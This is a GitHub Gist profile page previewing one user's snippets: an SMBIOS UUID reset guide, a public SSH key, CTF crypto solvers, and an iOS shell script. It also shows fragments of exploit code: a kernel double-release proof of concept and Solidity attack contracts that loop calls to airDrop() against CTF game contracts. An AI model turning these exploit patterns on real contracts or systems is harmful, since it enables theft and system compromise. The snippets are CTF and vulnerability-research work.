Skip to content

Instantly share code, notes, and snippets.

View minhtt159's full-sized avatar

Minh Trần minhtt159

View GitHub Profile
@minhtt159
minhtt159 / doc.md
Created May 11, 2026 22:43 — forked from willglynn/doc.md
Change SMBIOS UUID on AMI firmware PCs

PCs have SMBIOS data containing small amount of identifying information. One piece of information in this SMBIOS data is the universally unique identifier. Some PC and motherboard manufacturers fail to set this, often leaving the UUID set to 03000200-0400-0500-0006-000700080009.

If your system uses an AMI firmware (sometimes called AMIBIOS), you may be able to use AMI utilities to reset the UUID. Obtain AMIDEEFIx86.efi and an EFI shell executable, such as from inside m1ujt73usa.zip for the Lenovo ThinkStation P330 Tiny download center.

Once you have those two files, create USB drive with the FAT32 filesystem and the following structure:

\
  \AMIDEEFIx86.efi
  \efi
@minhtt159
minhtt159 / test.txt
Created October 19, 2023 08:40
hehe
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiHEZOmDIgbc0Q2vXA8ARUUXXPgGyrDM6XrdgSElU/4cLcu7bk7smRWa5CfDT+K6KMlxJTYc4jPYXh9Ccdlhnuazp3ENkyp9QO3ripqiDh3lPuHzG0kHKJy/M4WraWklr/QL+ShIISDpQX0HGuHRcynsc4rsShjFd8o5c+8D4vkKAfhrWTmcinHRShO+wj//UW1S/EnC6Bv598vbi9L7e7jsSClzf+Kj16CJaer3WRj5mUG8Kg/+wDempvelwPstRTLGgapUr/7uvId9hOD2BdsGDwR/sOuAileqOmfbpqiNt5AwwrnyJkHfY3St20/TCGynIJw9W6rvcZtY2U2d8F3PG3NO6Kcj7kMtnazH2PzEbGqEsCcDwxKSURo+jhS8GUpOQ1Dm8G9tID+UZA06HccbWcacyFfbfe/YFEebmQKEnml3l4aX811kPJ3OQZleCewWCuAR9aD/IbkU6hfOqTNyvjvfo+xcA5/UMEP25395jYqohgUkTig4kLoddAanM= minh@Minhs-MacBook-Pro.local
/*
APPLIED ECONOMETRICS FOR SPATIAL ECONOMICS
Empirical Assignement II
Deadline: 07 Oct 2022
Group 6
*/
@minhtt159
minhtt159 / merklision.py
Last active October 24, 2020 11:04
Solve merklision
from hashlib import sha256
from base64 import b64encode, b64decode
from typing import Tuple
ByteStrings = Tuple[bytes, ...]
def h(s: bytes) -> bytes:
"""Short notation for sha256. The digest is truncated to 6 bytes to save
bandwidth."""
@minhtt159
minhtt159 / listdevices
Created November 23, 2019 03:28 — forked from PsychoTea/PanicParser.py
A collection of useful iOS-related scripts
#!/bin/bash
for id in $(idevice_id -l); do
ideviceinfo_data=$(ideviceinfo -u $id)
product_type=$(echo "$ideviceinfo_data" | grep ProductType | sed 's/ProductType: //g')
# strip 'iPhone' or 'iPad' and the comma from the product type
short_product_type=$(echo "$product_type" | sed 's/iPhone//g; s/iPad//g; s/,//g' )
@minhtt159
minhtt159 / afuu.c
Created November 23, 2019 03:08 — forked from 0x36/afuu.c
AppleFirmwareUpdateKext::loadFirmware() : Missing lock leads to double object release
#if 0
// Fixed in iOS 13.1 with CVE-2019-8747
__thiscall
AppleFirmwareUpdateKext::loadFirmware
(AppleFirmwareUpdateKext *this,IOMemoryDescriptor *Memory,void *off_0x10,uint off_0x18)
{
uint uVar1;
byte addr;
byte len;
@minhtt159
minhtt159 / solve.py
Created April 7, 2019 22:37
AceBear CTF 2019 - F3737 Solver
from hashlib import sha512
BLOCKSIZE = 16
def reduce_modulo_37(i):
return int(i % 37)
class F3737(object):
"""
This class represents a vector in F37^37. Only basic operations (addition
and scalar multiplication) are provided.
@minhtt159
minhtt159 / server.py
Created April 7, 2019 22:03
AceBear CTF 2019 - F3737
#!/usr/bin/env python3
# ********************************************************** #
# Today, we will work with F37^37. Good luck and have fun :) #
# ********************************************************** #
# Part 1: DEFINITION OF MYHASH
from hashlib import sha512
BLOCKSIZE = 16
@minhtt159
minhtt159 / Fake3D.js
Created November 29, 2018 07:22
BCTF - Fake3D
contract Attack{
address target = 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a;
Fake3D game;
constructor() public{
game = Fake3D(target);
for (uint256 i=0; i<900; i++){
game.airDrop();
}
}
}
@minhtt159
minhtt159 / EOSAttack.js
Created November 29, 2018 07:07
BCTF - EOSGame
contract Attack{
address target = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F;
address owner = 0x622afc0cbaa152e6615be060f93bc88440a8442d;
uint256 MOD_NUM = 20;
EOSGame game;
constructor() public{
game = EOSGame(target);
}
function check() public view returns (uint256){
uint count = 1;